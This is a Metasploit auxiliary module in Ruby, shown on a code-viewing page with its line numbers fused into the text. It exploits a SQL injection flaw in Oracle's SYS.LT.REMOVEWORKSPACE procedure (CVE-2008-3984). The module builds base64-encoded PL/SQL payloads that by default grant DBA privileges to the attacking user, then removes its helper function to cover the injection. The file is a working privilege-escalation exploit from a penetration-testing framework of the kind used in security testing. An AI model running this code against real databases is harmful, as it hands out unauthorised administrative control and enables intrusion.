Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE',11'Description' => %q{12This module exploits a sql injection flaw in the REMOVEWORKSPACE13procedure of the PL/SQL package SYS.LT. Any user with execute14privilege on the vulnerable package can exploit this vulnerability.15},16'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],17'License' => MSF_LICENSE,18'References' =>19[20[ 'CVE', '2008-3984' ],21[ 'OSVDB', '49326']22],23'DisclosureDate' => '2008-10-13'))2425register_options(26[27OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),28])29end3031def run32return if not check_dependencies3334name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)35rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)36rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)37rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)38cruft = Rex::Text.rand_text_alpha_upper(1)3940function = "41CREATE OR REPLACE FUNCTION #{cruft}42RETURN VARCHAR2 AUTHID CURRENT_USER43AS44PRAGMA AUTONOMOUS_TRANSACTION;45BEGIN46EXECUTE IMMEDIATE '#{datastore['SQL']}';47COMMIT;48RETURN '#{cruft}';49END;"5051package1 = %Q|52BEGIN53SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');54END;55|5657package2 = %Q|58BEGIN59SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');60END;61|6263uno = Rex::Text.encode_base64(function)64dos = Rex::Text.encode_base64(package1)65tres = Rex::Text.encode_base64(package2)6667sql = %Q|68DECLARE69#{rand1} VARCHAR2(32767);70#{rand2} VARCHAR2(32767);71#{rand3} VARCHAR2(32767);72BEGIN73#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));74EXECUTE IMMEDIATE #{rand1};75#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));76EXECUTE IMMEDIATE #{rand2};77#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));78EXECUTE IMMEDIATE #{rand3};79END;80|8182clean = "DROP FUNCTION #{cruft}"8384# Try first, if it's good.. keep doing the dance.85print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...")86begin87prepare_exec(sql)88rescue => e89return90end9192print_status("Removing function '#{cruft}'...")93prepare_exec(clean)9495end96end979899